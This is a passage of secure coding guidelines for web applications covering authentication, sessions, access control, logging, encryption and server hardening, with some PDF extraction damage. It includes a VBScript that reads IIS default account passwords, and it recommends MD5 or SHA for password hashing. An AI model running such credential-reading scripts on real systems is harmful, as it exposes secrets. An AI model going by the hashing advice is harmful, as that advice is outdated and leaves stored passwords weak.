The chosen password must have a sufficient amount of entropy, meaning that it is sufficiently random to be very hard to guess. If the password does not have sufficient entropy, dictionary attacks are likely to be effective. 10. Re-authenticate for critical operations

Before allowing a user to perform a critical operation (i.e. Making a purchase, changing a password, changing profile information, etc.), always re-authenticate. If an attacker successfully steals a Session ID or hijacks a session, this will help prevent them from performing a critical operation. 11. Use digital signatures for non-repudiation

When doing business critical actions (such as financial transactions,) bi-directional authentication is required. This can be implemented with certificates (digital signatures) or shared secrets. 12. Use SAML for user federation

When it is necessary to pass authentication and authorization information to another application, the OASIS SAML standard should be used. It was designed specifically for this purpose and allows easy integration of systems. 13. Authenticate on include files

Although many pages of an application are only meant to be accessed when included in other pages, they are usually accessible as standalone pages. With this in mind, its important to always enforce your authentication scheme on include files. Language-specific Rules

1.

Java

In the J2EE model, authentication is managed by the container.Servlet containers provide security as specified by the servlet specification 2.3. Container-managed security allows the developer to declaratively specify how authentication is to be performed and how authorization is to be granted. Authentication and authorization are specified in the web.xml file (Declarative security). Container-specific details, such as the security realm, typically are configured in server-specific XML configuration files. The Java Authentication and Authorization Service (JAAS) is a Java package that enables applications to authenticate and enforce access controls upon users. It is designed to complement Java 2 security, basing authorization on who is running code (subject-based security) in addition to what code is running (the code-based security of Java 2). JAAS also implements a Java version of the standard Pluggable Authentication Module (PAM) framework. This enables an application to remain independent from the authentication service, and supports the use of custom authentication modules.

2.

ASP.NET

There are three types of authentication mechanism in ASP.NET; Windows Authentication, Passport Authentication and Forms Authentication. The authentication tag sets the authentication method for a given Web application. This tag is usually placed in the "web.config" file in the "system.web" section. Some of the authentication modes require nested tags that define their behavior. For example, the "Forms" authentication mode has a nested forms tag shown in the following example: Syntax: <authentication mode="None|Forms|Windows|Passport">

Example: <configuration> <system.web> <authentication mode="Forms"> <forms loginUrl="login.aspx" /> </authentication> </system.web> </configuration> 3. PHP

Instead of creating your own authentication solution use PEAR (PHP Extension and Application Repository) modules or Zend framework API"s. Recommendations 1. Policy & Process a. Develop a comprehensive authentication policy. b. Implement appropriate authentication techniques. c. Keep authentication mechanisms effective. d. Protect storage & transmission of authentication information. e. Control authentication for access to external systems. f. Maintain business continuity for authentication services. Authentication Methods Develop & enforce a strong password policy. Protect against social engineering attacks. Use multifactor authentication when strong passwords fail. Use multifactor authentication for remote access. Use robust authentication techniques for single sign-on. Use multifactor authentication for system administrators. 3. Logon Procedures Implement secure single signon systems. Control display of information in the logon procedure. Terminate logon procedure

2.

after unsuccessful attempts. Implement time-out procedures after inactivity. Set up emergency access procedures. References 1. Common Objects o SAML V2.0 OASIS Standard Specification Set: http://www.oasis-open.org/committees/tc_home.php?wg_abbrev=security o PEAR Authentication Package: http://pear.php.net/packages.php?catpid=1&catname=Authentication 2. Examples

Insecure id example: using IDs such as name, email, SSN, to reference PII. 3. Training Resources o OWASP Guide to Authentication: http://www.owasp.org/index.php/Guide_to_Authentication o Microsoft references for Authentication (.NET): i. How To: Use Windows Authentication in ASP.NET 2.0 ii. How To: Use Forms Authentication with Active Directory in ASP.NET 2.0 iii. How To: Protect Forms Authentication in ASP.NET 2.0

Session Management Strong session management is a key part of a secure web application. Since HTTP does not directly provide a session abstraction, application and framework developers must make their own using cookies. Session management allows the web-based system to create a session so that the user will not have to re-authenticate every time they wish to perform an action. Session management ensures that the client who is connected to a server is the same person who logged in originally. Sessions are thus a target for malicious users because they can be used to gain access to the system without having to authenticate. An HTTP cookie (usually called simply a cookie) is a packet of information sent by a server to a World Wide Web browser and then sent back by the browser each time it accesses that server. Cookies can contain any arbitrary information the server chooses and are used to maintain state between otherwise stateless HTTP transactions. Session cookies are a specific type of cookie that do not have an expiration date and cease to exist when the browser is closed. Session cookies are not written to disk and only exist in

memory. However, persistent cookies have an expiration date and are written to disk and stored until the expiration date arrives. Related Attacks Session Hijacking, Session Fixation, Session Interception, Session Prediction, Brute Force Attack General Rules 1. Use Strong Encryption on All Transmissions

Failure to encrypt the session identifier will render the online system almost completely insecure. Strong cryptography should be used. Key lengths less than 64 bits are too weak, and keys of at least 128 bits in length are recommended since they are generally considered strong enough to be secure for some time into the future. Finally, for cookie based sessions, set the SSL only attribute to true for a little added security. 2. Store Only the Session ID on the Client Side

Store only the identifier on the client. The server, not the client, should maintain other information related to the session. Even a cryptographically hashed or encrypted version is not recommended since it leaves the session ID open to a brute force attack. 3. Implement GET Variable Referrer Filtering (GET Method only)

Every link that points to an external object (that is, a resource not located on the local server) and could be followed while logged in must be sanitized. Adding an extra level of redirection that will forward the client to the requested destination but will not repeat the session ID is required. This way, the HTTP referrer will be set to the redirection page sans the session ID. 4. Perform Sanity Checks to Detect Session Hijacking

Sanity checks must be performed during authentication. To prevent a brute force attack against any of the sanity checks, automatically logout the user identified with the session ID that failed the check. This will force the real user to re-authenticate and acquire a new session ID. This pushes the attacker back to the main authentication point by invalidating their stolen SID.

5.

Expire Session After Inactivity

Force an automatic logout after a short period of inactivity. The timeout should be as short as reasonably possible. 6. Do Not Make Session Identifiers Viewable

This is a major problem with the GET method of session identifier propagation. Use the POST or cookie method instead or cycle the SID out with a new one frequently. 7. Select a Good Session Identifier

The identifier should be pseudo random, retrieved from a seeded random number generator. It should also have a sufficient entropy size. Be sure to calculate the actual entropy based on the true domain of possible SIDs instead of the calculating the entropy based on the size of the buffer used to retain the SID. 8. Force Server-side Session ID Creation

The server should never assume the value of a session ID that is given before login. Instead, the server must create a unique session ID after the user successfully authenticates (a strict web application). This will foil session fixation attacks. 9. Provide Secure Logout

Provide the users with a logout button that will inactivate their session. Perform the logout operation such that the server state will inactivate the session as opposed to relying on the client to delete session information. 10. Securely Store the Server Side Session Map

Do not store the session variables in a place where it is publicly accessible (such as in the temporary directory on a server with shared hosting). Instead, store the session IDs in a secure location with sufficient access restrictions. Storing the hashed versions of the IDs in a database is a good option. 11. Make The Session ID Dynamic with Hijack Attempt Detection

Generate a new session ID and deactivate the old one frequently to further complicate session attacks. An excellent way to do this is to reissue a session ID for every page access. 12. Verify Domain before Accepting Cookie-Based Session Ids

Do not assume that an SID in a cookie was set by domain of the web application. Instead, check the cookie"s domain and make sure that it is not an invalid sub-domain. Language-specific Rules 1. Java

"HttpSession" interface provides effective methods to securely handle session in J2EE. The developers can use "invalidate ()" method to manually terminate users existing session from the server. The "setMaxInactiveInterval (int interval)" can be used to set a session timeout interval. The session timeout setting can also be declared in the web.xml file.

2.

ASP.NET o Do Not Rely on Client-Side State Management Options: Avoid using any of the client-side state management options, such as view state, cookies, query strings, or hidden form fields, to store sensitive data. The information can be tampered with or seen in clear text. Use server-side state management options, for example, a database, to store sensitive data. o ASP.NET session state provides an important security advantage over client state management techniques in that the actual state is stored on the

3.

server side and not exposed on the client and other network entities along the HTTP request path. o ASP.NET 2.0 session state has been hardened to help guard against session ID spoofing and injection. It takes advantage of the HTTP-only cookie feature (currently supported by Internet Explorer 6.0 with Microsoft Internet Explorer 6.0 SP1 or Windows XP SP2 installed), which prevents the session ID cookies from being available to client-side script and therefore to potential cross-site scripting exploits designed to steal session ID cookies. This feature is enabled automatically for supported browsers. o In addition, ASP.NET 2.0 also provides a session ID regeneration feature, which forces expired session IDs that are not found on the server to be replaced with a newly generated ID. This avoids the accidental reuse of session IDs that commonly occurs with cookieless session links (such as those indexed by search engine crawlers), as well as malicious session ID injection attacks through cookieless session link posting. This feature is on by default and is only supported for cookieless session IDs. PHP o Keep session content small: No more than 10 kb of session data. Exceptions may be made (Multi- Page Forms, see below). In any case, unneeded content needs to be removed from the session as early as possible. o Do not use sessions as a cache: Cache and session semantics differ in PHP. While the complete session context is loaded for each request, only a part of the cached data will be reused. One should therefore use other caching methods such as temporary database tables, Zend Platform Cache API, Zend Framework Cache Module or memcacheD to cache pre-calculated values. If the cache is only valid for the current session, use the session ID as a part of the cache key.

Recommendations 1. Protect Your Out-of-Process State Service

If you use mode=StateServer on the element, use the following recommendations to help secure session state: o Use a least-privileged account to run the state service: By default, the state service runs using the Network Service local, leastprivileged account. You should not need to change this configuration. o Protect the channel: If the state service is located on a remote server and you are concerned about the network eavesdropping threat, protect the channel to the remote state store by using IPSec to ensure the user state remains private and unaltered. o Consider changing the default port: The ASP.NET state service listens on port 42424. To avoid using this default, well-known port, you can change the port by editing the following registry key:HKLM\SYSTEM\CurrentControlSet\Services\aspnet_state\Parameters.The port number is defined by the Port named value. If you change the port number in the registry, for example, to 45678, you must also change the connection string on the "sessionState" element, as follows: stateConnectionString="tcpip=127.0.0.1:45678"

o Encrypt the state connection string: Because this element contains service connection details, you should encrypt it by using one of the protected configuration providers. 2. Protect SQL Server Session State

If you use mode="SQLServer" on the sessionState element, use the following recommendations to help protect session state: a. Use Windows authentication to the database: This means that passwords are not sent over the network to the database. It also means you do not have to store user names and passwords in the database connection string. b. Encrypt the sessionState section: Because this element contains database connection details, you should encrypt it by using one of the protected configuration providers. c. Limit the application's login in the database: Restrict the login in the database so that it can only be used to access the necessary state tables and the stored procedures used by ASP.NET to query the database. To do this, create a SQL Server login for your ASP.NET process account, and then map the login to a database user in the state store database. Assign the database user to a database role and grant execute permissions for the stored procedures that are provided with the ASPState database. d. Protect the channel: To protect sensitive session state over the network between the Web server and remote state store, protect the channel to the two servers using IPSec or SSL. This provides privacy and integrity for the session state data across the network. If you use SSL, you must install a server certificate on the database server. References Common Objects o ASP.NET: Fast, Scalable, and Secure Session State Management: lukemurphey.net/Whitepapers/Session%20Management.pdf o Secure Session Management: http://pear.php.net/packages.php?catpid=1&catname=Authentication o Secure Session Management With Cookies for Web Applications: www.isecpartners.com/files/web-session-management.pdf User Access Control Access control vulnerabilities result from a failure in the design or implementation of an application trust model. Successful exploitation of these vulnerabilities will allow an attacker some degree of elevated access to a system asset. Related Attacks Privilege Escalation (vertical and horizontal)

General Rules 1. Use role-based access control

Role-based access control is a widely used mechanism to have control on application authorization. This involves granting/restricting privileges based by designating users to a group or role. This is not only a good practice but has also been an international standard to manage authorization for several years. Additional access control measures should be taken when using workflows. 2. Define application resources

Before defining privileges or roles, it is important to first identify all of the application resources. Items such as files, web pages, and functionalities fit the profile of a resource. Identifying all application resources will assure that your access control mechanism covers the entire application. Private or user specific content/resources must be flagged as such. Access to private content should be mapped to individual users. 3. Define roles/groups

Define several roles. You can always have a specific user fitting two roles. In this case, the privileges would be merged for this specific user. 4. Create an Access Control Matrix

Remembering the principles of least privilege and separation of duties, create an Access Control Matrix that defines permissions by mapping resources to roles. You can use an Access Control Matrix Template. This matrix should be created and documented during the design phase. The permissions defined in the Access Control Matrix should be the blueprint for the actual roles and permissions defined in the application. 5. Enforce authorization checks on every request

Permissions should be effectively checked on every page request before executing any action or sending any information to the user. 6. Enforce business workflow

Sometimes certain actions can only be performed in a defined order, so even if a user is legitimate and has permission to execute a specific action, if that action is not valid for the current state of that specific process, the application should deny access to that action. 7. Use session objects for authorization

All authorization permissions should be tied to a session object rather than separate session tokens. Language-specific Rules 1. Java

In the J2EE security model, Web resources to be secured are identified by their URL patterns. This is specified in the web.xml file of the Web application. This is also called as URL- based authorization. For more advance uses, J2EE provides standard programmatic features that allow web applications to retrieve information about a user. Developers can use the following methods to determine if a user should be allowed to access a resource or not. o Principal getUserPrincipal(): This method returns a principal object containing the name of the authenticated user making the request (or null if the user has not been authenticated). o String getRemoteUser(): The method returns the login name of the authenticated user making the request (or null if the user is not authenticated) o boolean isUserInRole(String rolename): The method determines whether the authenticated user making the request is a member of the specified role or not. Note: All the methods listed above are part of the "javax.servlet.http.HttpServletRequest interface". The JAAS authorization model extends Java 2 securities, with policy objects able to handle queries based on principals, and the default policy implementation supporting grant entries based on principals. With the JAAS extensions, access control is based not only on the code that is executing, but also on who is executing it. A policy object is able to retrieve permissions granted to principals associated with a specified codesource. For more information on JAAS you can refer the following URIs: ftp://ftp.oreilly .com/pub/conferenc e/java2001/Rich_Jaa s.pdf http://www.ge mplus.com/techno/s martjaas/download/j aas.pdf http://www.de varticles.com/c/a/Ja va/JAAS-SecuringJ2EE-ApplicationsSecuring-WebComponents/

2.

ASP.NET

In ASP.NET, there are two ways to authorize access to a given resource: o File authorization: File authorization is performed by the "FileAuthorizationModule". It checks the access control list (ACL) of the .aspx or .asmx handler file to determine whether a user should have access to the file. ACL permissions are verified

for the user's Windows identity (if Windows authentication is enabled) or for the Windows identity of the ASP.NET process. o URL authorization: URL authorization is performed by the "UrlAuthorizationModule", which maps users and roles to URLs in ASP.NET applications. This module can be used to selectively allow or deny access to arbitrary parts of an application (typically directories) for specific users or roles. For more information please refer to the following link: http://msdn2.microsoft.com/en-us/library/wce3kxhd.aspx 3. PHP

Instead of creating your own access control solution use PEAR (PHP Extension and Application Repository) module or Zend framework API"s. Always check the user"s access privileges upon every load of a restricted page of PHP application. Never make a backup of a PHP file in your web-exposed directory by adding .bak or another extension of the filename. Recommendations 1. Principal of Least Privileges

Development, test and staging environments must be set up to function with the lowest possible privilege so that production will also work with lowest possible privileges. 2. Remove all the default user accounts

All the default user accounts should be removed while configuring application servers, database servers, web servers etc. Never should "Administrator", "root", "sa", "sysman", "Supervisor", or any other all privileged account be used to run the application or connect to the web server, database, or middleware. 3. Connect with least privileges with the application"s database

Database access should be through parameterized stored procedures (or similar) to allow all table access to be revoked (i.e. select, drop, update, insert, etc) using a low privilege database account. This account should not hold any SQL roles above "user" (or similar). 4. Avoid using custom authorization controls

Most of the major application frameworks have a well developed authorization mechanism (such as Java's JAAS or .NET's inbuilt authorization capabilities in web.config). However, many applications contain their own custom authorization code. This adds complexity and bugs. Unless there's a specific reason to override the inbuilt functionality, code should leverage the framework support. 5. Implement Centralized authorization routines

A common mistake is to perform an authorization check by cutting and pasting an authorization code snippet, or worse re-writing it every time. Well written applications centralize access control routines, particularly authorization, so if any bugs are found, they can be fixed once and applied everywhere immediately.

References 1. 2. Common Objects o Generic Access Control Lists: PHP http://phpgacl.sourceforge.net/ Examples o OWASP Access Control in Your Application: http://www.owasp.org/index.php/Access_Control_In_Your_J2EE_Application o Controlling Access with Servlet Filters: http://www.oracle.com/technology/sample_code/tutorials/fbs10g/files/access. pdf o Generic Access Control Lists in PHP: http://phpgacl.sourceforge.net/manual.pdf o OWASP Guide for Authorization: http://www.owasp.org/index.php/Guide_to_Authorization

Error Handling and Logging Applications with insufficient error handling policies are often easy targets for attackers. Error messages and failure states which disclose too much or inappropriate levels of detail are subtle vulnerabilities but present aggressive attackers with exploitable opportunities. Related Attacks Buffer overflow, Enumeration, Denial of Service (DoS) General Rules 1. Program code must do the error handling

Never rely on the operating system, database, or hardware to handle errors. Your application"s code should always include its own error handler. All errors generated by internal components such as system calls, database queries, and other internal functions should be handled by the application"s exception handler. Otherwise, these detailed error messages/codes tell attackers an enormous amount of useful information about the system. 2. Always fail-safe

If the application experiences a fatal error, the handler should always fail-safe. Fatal errors should never leave the application in an unrecoverable state. 3. Always use structured exception handlers

Most major application frameworks have built-in structured exception handlers. Such handlers should always be used instead of function error handling. 4. Use generic error messages

Never display the error source or any other internal error codes to the user. If your application framework allows the option, always disable detailed error messages. 5. Implement a generic error page

As a last resort, implement a generic error page so unhandled errors are not displayed to "attackers". 6. Record all exceptions in a log

Implementing a log file is a must in an application development. Record all technical information about exceptions that occur. The log should contain Date/Time, Event Type, Success/Fail state, and additional information regarding the event like the Source IP Address for an authentication attempt or the Object name in case of an object manipulation event. For easier troubleshooting, assign error Ids to logged errors and provide the user with the error reference ID for easier lookup by the support team. 7. Do not store private information in logs

Password, Credit card numbers, Pins, SSN and similar information should never be stored in log files due to privacy issues. 8. Logs must be carefully protected against manipulation

An attacker will try to "cover their tracks" by manipulating, deleting or overwriting the log files. If the user input to the log files is not properly sanitized prior to storing the information into the log files an attacker can take advantage of this weakness to forge log entries or inject malicious content into the logs. Language-specific Rules 1. Java

The Java "Logging" package or Apache "Log4j" are useful and powerful tools to manage application logs. Self-implemented logs should be avoided wherever possible.

2.

ASP.NET

Custom errors should be set to remote only. References 1. Examples o Exception Handling in C# and ASP.NET: http://www.codersource.net/asp_net_exception_handling.aspx o Validator Framework: http://www.oreilly.com/catalog/0596006519/chapter/ch11.pdf Training Resources o OWASP Guide to Error Handling: http://www.owasp.org/index.php/Error_Handling%2C_Auditing_and_Logging o ASP.NET: http://www.devx.com/dotnet/Article/32493 o Displaying Safe Error Messages (ASP.NET): http://msdn2.microsoft.com/en-us/library/bhs3h30t(VS.71).aspx o Exception Handling: Common Problems and Best Practice with Java 1.4: http://www.old.netobjectdays.org/pdf/02/papers/industry/1430.pdf

2.

o Exception Handling in J2EE Systems: http://www.softwaresummit.com/2004/speakers/SteltingExceptionHandling.p df Data Protection Data Protection addresses the confidentiality and integrity of an application system by providing various security controls over data in transit and at rest. Related Attacks Fault Induction, Brute Force General Rules 1. Classify data throughout the application

Use the Data Classification Guidelines to identify the degree of data protection necessary and how it must be managed. Handling PII (Personal Identifiable Information) data:In Information Technology terms any data which can be used to identify a person is a PII. Examples of Personally identifiable information are National identification number, Telephone number, Street address, Vehicle registration plate number, Driver's license number, Face, fingerprints, Credit card numbers. Medical/health condition, Racial origin, Political, religious and philosophical views, PIN, Passwords Some of the major Legislations to protect PII are Health Insurance Portability and Accountability Act (HIPAA), Privacy Act of 2005, Information Protection and Security Act; The UK Privacy & Electronic Communications (EC Directive) Regulations 2003.These laws make attempts to strictly limit the display, purchase, or sale of PII without the person's consent illegal. Secure coding guidelines: a. A stricter control should be placed to access PII. b. Sensitive PII should only be sent on an encrypted channel. c. PII should not be stored in persistent cookies. d. PII should not be cached. e. Add a disclaimer if a portal or site sends PII. Link each page to Legal disclaimer. 2. Do not expose sensitive data in clear text or HTML code

Usernames, password, session ids, etc should never be displayed in clear text. SSO, on the other, is made publicly available and does not need to adhere to this rule for internal applications. Regardless, SSO"s should never be displayed in clear text or HTML code in any externally facing applications. 3. Never use homegrown encryption algorithms

Use generally accepted encryption algorithms even for simple tasks. Most development frameworks have this functionality implemented so you will save time and be secure. 4. Hash passwords using a "hash algorithm"

Passwords should be stored in hashed form. When you need to authenticate a user, just apply the hash function to the password provided and compare it with the stored value. SHA and MD5 are two hashing algorithms that are recommended. What are Hashing Algorithms? One way/irreversible jumbling/encryption of an input to a specific length output is hashing. Strength of a Hashing algorithm is determined by Irreversibility of hash to plain text i.e. determining x from H(x), where H() is hashing function and H(x) is hash of x less or computationally very difficult collision between two hashes i.e. H(x)=H(x")Computationally difficult to find an x" that is different from x and H(x)=H(x") NIST Approved hash Algorithms are listed below: Currently, there are five Approved hash algorithms, SHA-1, SHA-224, SHA-256, SHA-384 and SHA-512, which are specified in [FIPS 180-3]. These hash algorithms produce outputs of 160, 224, 256, 384 and 512 bits, respectively.(SHA-224, SHA-256, SHA-384 and SHA-512 are part of SHA-2). Be cautious: While using MD5 hashing algorithms: MD5 is not an adopted standard by US government. MD5 hashes are easier to reverse and with lot of projects have creating Rainbow tables over internet job have become easier. While using SHA-1 hashing algorithms: SHA-1 will be replaced completely by SHA-2 by the year 2010. Professor Xiaoyun Wang had announced she has found collision in SHA-1 by 263 attempts. Further Reference URI(s): http://en.wiki pedia.org/wiki/MD5 http://en.wiki pedia.org/wiki/SHA1 http://www.rs a.com/rsalabs/node. asp?id=2738

http://csrc.nis t.gov/groups/ST/has h/statement.html http://csrc.nis t.gov/groups/ST/has h/federal_register.h tml http://csrc.nis t.gov/publications/d rafts/Draft-SP-800107/draft-SP800107-July2008.pdf http://csrc.nis t.gov/groups/SMA/is pab/documents/min utes/200512/B_Burr-Dec2005ISPAB.pdf http://csrc.nis t.gov/groups/ST/tool kit/documents/shs/h ash_standards_com ments.pdf 5. Use symmetric encryption for local storage

For storage of information within trusted boundaries you should use a symmetric key algorithm such as AES (Riejdael), or Blowfish. DES is no longer recommended. 6. Properly secure private key

Secure private keys by storing them in a protected site or with a second layer of encryption. 7. Use asymmetric encryption for information sent over the network

SSL, GPG, IPSec and Kerberos are the recommended mechanisms for this kind of protection. RSA or ElGamal based encryption may be utilized but this is typically more difficult. This is more difficult, though. Language-specific Rules 1. Java

Never use java.util.Random for generating random numbers. Instead, use java.Security.SecureRandom.

2.

ASP.NET

Although .NET provides some tight cryptography classes, a more efficient approach for ASP.NET developers is to implement the Data Protection API (DPAPI). By coupling the ASP.NET configuration system with the DPAPI, ASP.NET developers can effectively and efficiently protect sensitive data such as connection strings stored in the Web.config file.

For more information you can refer the following URL:http://msdn2.microsoft.com/enus/library/ms995355.aspx References 2. Training Resources Microsoft references for DPAPI (ASP.NET): How To: Create a DPAPI Library How To: Use DPAPI (Machine Store) from ASP.NET How To: Use DPAPI (User Store) from ASP.NET with Enterprise Services File Handling Data Protection addresses the confidentiality and integrity of an application system by providing various security controls over data in transit and at rest. Related Attacks Fault Induction, Brute Force General Rules 1. Never send the absolute or physical path to the user

Path information should never be sent to the user. This information must be stored on the server-side in session variables. 2. Remove traversal characters and normalize names

When uploading or downloading a file, remove all directory traversal characters. Normalize file names (eliminate "../../..") and verify the final target directory. When doing so, use an absolute file path name, not relative ("/bin/sh" not "sh"). 3. Never save files in the web space

Whether they are temporary files or uploaded files, an attacker can never access files directly if they are out of the designated web directories. 4. Never permit file execution in the file upload directory

Never allow the execution of files from within the file upload directory. Language-specific Rules 1. Java

The "java.io" package allows both sequential and non-sequential data access. o The Stream, Reader and Writer classes can be used to input or output data sequentially. o The File and RandomAccessFile classes can be used to deal with nonsequential data. 2. PHP

Instead of creating your own File Handling solution use PEAR (PHP Extension and Application Repository) module or Zend framework API"s. Recommendations o Restrict file extensions Restrict the file extensions that can be uploaded on the server. Do not allow executable files or application file types. o Use IDs to identify files Using randomly generated file IDs reduces the chances of prediction. Instead of using actual file name, always use IDs or indexes to download and upload files. o Separate file upload and download directories Upload and download directories should be separated. References 1. Common Objects o PEAR File-System package: http://pear.php.net/packages.php?catpid=9&catname=File+System 2. Training Resources o OWASP Guide to File Systems: http://www.owasp.org/index.php/File_System o Secure File Upload in PHP web applications: http://www.scanit.be/uploads/php-file-upload.pdf

Configuration Management

Design a secure configuration for the components that are needed for the application to execute. Many times, the OS and Hardware configurations are entirely managed by a shared service but there are still many configuration settings which are under the control of the application development team at the application and Application Server level. This includes web servers, operating systems, databases, emails servers and other component of the applications environment. Securing the environment is as important as securing the application itself. Since many applications operate in a shared environment, the configuration of these components is typically not the responsibility of development teams. On the other hand, all developers should be aware of the basic security controls that are put in place throughout the applications environment. If your application team manages their own architecture, it is strongly recommended that they consult the shared services team for expertise in the area of configuration management. Related Attacks Fault Induction, Privilege Escalation, Cross Site Tracing (XST) General Rules 1. Always remove unused or legacy components and code

Although the complexity of many applications makes it difficult to identify unnecessary code or pages, its important to always take the time to do so. All web applications should have some form of release process that identifies and excludes any components that are not necessary in the production environment. Legacy components are rarely reviewed or touched by development teams and this often causes them to contain a multitude of vulnerabilities. 2. Remove manuals, installation documentation and examples

After the installation of web servers, always remove the manuals, installation documentation, and configuration specific examples that come with the web server before going to production. 3. Remove or restrict any unnecessary web server interfaces

One type of additional interface would be an administrative interface to a web server. These administrative interfaces are often convenient, but they are rarely implemented with consideration for potentially malicious users. They may use weak default passwords, not perform sufficient authentication, or have any number of other vulnerabilities. As such, they should only be accessible over restricted network segments whenever possible, and never exposed to Internet facing connections. 4. Change default usernames/passwords

Always change the default usernames and passwords that come will all products and services involved with your applications environment. 5. Disable directory listing

Always disable the option for directory listing on web servers. Such a list is just one more piece of information that attacker can utilize to target attacks. 6. Disable unused request types or methods

The vast majorities of applications only use the GET, POST, and HEAD requests. You should ensure that only the necessary request methods are allowed in the deployed server. In particular, applications should disallow PUT, TRACE, OPTIONS and CONNECT requests. Similarly, applications should disable WebDav methods on the web server for all the directories. These methods include: DELETE, SEARCH, COPY, MOVE, PROPFIND, PROPPATCH, MKCOL, LOCK, and UNLOCK. If these methods are critical to the functionality or your application, set authentication and use strong passwords before granting access to the methods. 7. Use valid SSL certificates

Never use self-signed certificates. Always use certificates provided by a certificate authority. 8. Do not mix data from trusted and non-trusted sources

Mix such data will create warning messages such as: "Do you want to display insecure elements?" 9. Disable weak ciphers

When using SSL, disable weak ciphers on the web server. 10. Use least privilege process and service accounts

Accounts that execute processes and services should always have the minimum privileges required to carry out the associated tasks. Technology Specific Recommendations 1. IIS

IIS Servers should use the free Microsoft URLScan tool to disallow any request methods not in use. Servers should use the free Microsoft URLScan tool to disallow the TRACE and TRACK request methods. 2. Apache

Servers (including Apache-based servers such as Oracle iAS, IBM Websphere, etc.) can disable the TRACE method by setting the TraceEnable configuration directive to "off". Use mod_rewrite rules to disable individual methods based on a variety of factors. 3. Netscape/iPlanet

Servers should use one of the version-dependant workarounds specified at http://blogs.sun.com/meena/entry/disabling_trace_in_sun_java

Removing Unnecessary default user Accounts Removing unnecessary default user accounts is a standard best practice for any application, system or database. These accounts provide wide-ranging access to the data within the application/system. If the accounts are not properly managed and secured, with the default passwords changed to a strong password, and under a trackable "change control" process/system, it leaves these critical applications and the data they contain vulnerable to deliberate or inadvertent misuse, breaches and potential data theft. It could even allow the control of these applications to be transferred to an outside entity not under control, monitoring or jurisdiction of the target organization. The following sections discuss the best practices to be followed by some of the common databases and web servers to secure themselves from unnecessary default user accounts. Database Default Accounts While creating and setting up the database there are various accounts that are created with default user accounts and passwords. This case holds for various database including Oracle, SQL Server and MySQL. The default accounts when not managed properly can be root for several vulnerabilities. 1. Oracle

The Oracle default accounts are created by Oracle itself when the database is created. The same issues of default users being added to the database can occur when third party development or maintenance tools are added such as TOAD or PL/SQL Developer. The hacker can look for the default account credentials and very easily exploit the system functionalities. Following can be done to fix this kind of vulnerability: o Look for the default accounts. o Try to remove the account; it should be possible in almost all the cases. o In case the account can not be removed, you can change the password, lock the account or expire the default account. Here is a list of default Oracle accounts: http://www.petefinnigan.com/default/oracle_default_passwords.xls 2. SQL Server

In SQL Server the default installation has a "sa" user login. First and foremost, the "sa" user has control over all SQL server data, scheme and setup. It is not necessary here to enter into details, because the list of system administrator privileges can contain almost anything. Instead, let us focus on certain purposely-selected types of malicious attacks. The simplest one consists in creating a new account with the same privileges as the "sa" user has. In SQL Server 2005, the built-in system administrator (sa) account was maintained for backward compatibility. Unless necessary for other purposes, these accounts should be disabled or renamed. The following commands can be used to disable or rename this account:

ALTER LOGIN sa DISABLE;ALTER LOGIN sa WITH NAME = [sys-admin]; Further Reference URI(s): http://support.microsoft.com/kb/313418 http://www.microsoft.com/technet/prodtechnol/sql/bestpractice/sql2005dgwhe.mspx 3. MySQL

MySQL default account exists for both Linux and Windows systems. Windows distributions contain pre-initialized grant tables that are installed automatically. On UNIX, the grant tables are populated by the mysql_install_db program. The grant tables define the initial MySQL user accounts and their access privileges. These accounts are set up as follows: Accounts with the username root are created. These are super user accounts that can do anything. The initial root account passwords are empty, so anyone can connect to the MySQL server as root " without a password " and be granted all privileges. Two anonymous-user accounts are created, each with an empty username. The anonymous accounts have no password, so anyone can use them to connect to the MySQL server. Anonymous Account Removal: The anonymous account can be removed by using the following command in the UNIX shell. shell> mysql -u rootmysql> DROP USER ''; Default Web Server Accounts 1. IIS

The default account IUSR and IWAM is created by IIS on its own. The passwords for the given account can be extracted using a simple script. Enter the following script in a text editor such as Notepad, then save the script as getpass.vbs (any name will do as long as it ends .vbs). Dim IIsObjectSet IIsObject = GetObject ("IIS://localhost/w3svc") WScript.Echo "According to the metabase, the anonymous credentials are:" WScript.Echo "AnonymousUserName = " & IIsObject.Get("AnonymousUserName") WScript.Echo " AnonymousUserPass = " & IIsObject.Get("AnonymousUserPass") WScript.Echo " WAMUserName = " & IIsObject.Get("WAMUserName")

WScript.Echo " WAMUserPass = " & IIsObject.Get("WAMUserPass") Set IIsObject = Nothing When you execute the script, you'll see the username and password of the default IUSR and IWAM accounts. To disable the default account, please follow the steps shown below: 1. Click Start, and type 'INetMgr.exe' and press enter (if prompted select "Continue' to elevate your permissions). 2. Click on the "+" button beside the name of your machine in the Connections section. 3. In IIS Manager and double click on site you want to administer. 4. Double click on the "Authentication" item under the "Feature Name" heading. 5. Select "Anonymous Authentication" and then click on "Edit" in under the Tasks heading on the right side which brings up the "Specify Credentials dialog". 6. Click the "Specific User" option and then press the "Set" button.7. Input the username and password desired and select "OK". Further Reference URIs: o http://www.windowsitpro.com/Article/ArticleID/21222/21222.html o http://msdn.microsoft.com/msdnmag/issues/02/09/securityiniis60/defa ult.aspx o http://www.iis.net/articles/view.aspx/IIS7/Managing-IIS7/ConfiguringSecurity/Understanding-the-Built-In-User-and-Group-Accounts

2.

Apache - Tomcat

This host appears to be running the Apache Tomcat Servlet engine with the default accounts still configured. A potential intruder could reconfigure this service in a way that grants system access. Solution: Change the default passwords by editing the admin-users.xml file located in the /conf/users subdirectory of the Tomcat installation. References 1. Common Objects o The Secure Code Environment: http://www.owasp.org/index.php/The_Secure_Code_Environment 2. Examples o Computer Security Resource Center: Guideline on Securing Public web servers: http://csrc.nist.gov/publications/nistpubs/800-44-ver2/SP800-44v2.pdf o Database Security Checklist: http://hostlibrary.com/node/177

o Securing Apache 2: Step by Step: http://www.cgisecurity.com/lib/ryan_barnett_gcux_practical.html o Apache 2.0 Hardening Guide: http://www.xianshield.org/guides/apache2.0guide.html o Secure Internet Information Services 5 Checklist: http://www.microsoft.com/technet/prodtechnol/windows2000serv/technologi es/iis/tips/iis5chk.mspx o Securing Jboss Default Installation: http://sourceforge.net/docman/display_doc.php? docid=20143&group_id=22866 o WebSphere Application Server V5 advanced security and system hardening: http://www.128.ibm.com/developerworks/websphere/techjournal/0406_botzu m/0406_botzum.html

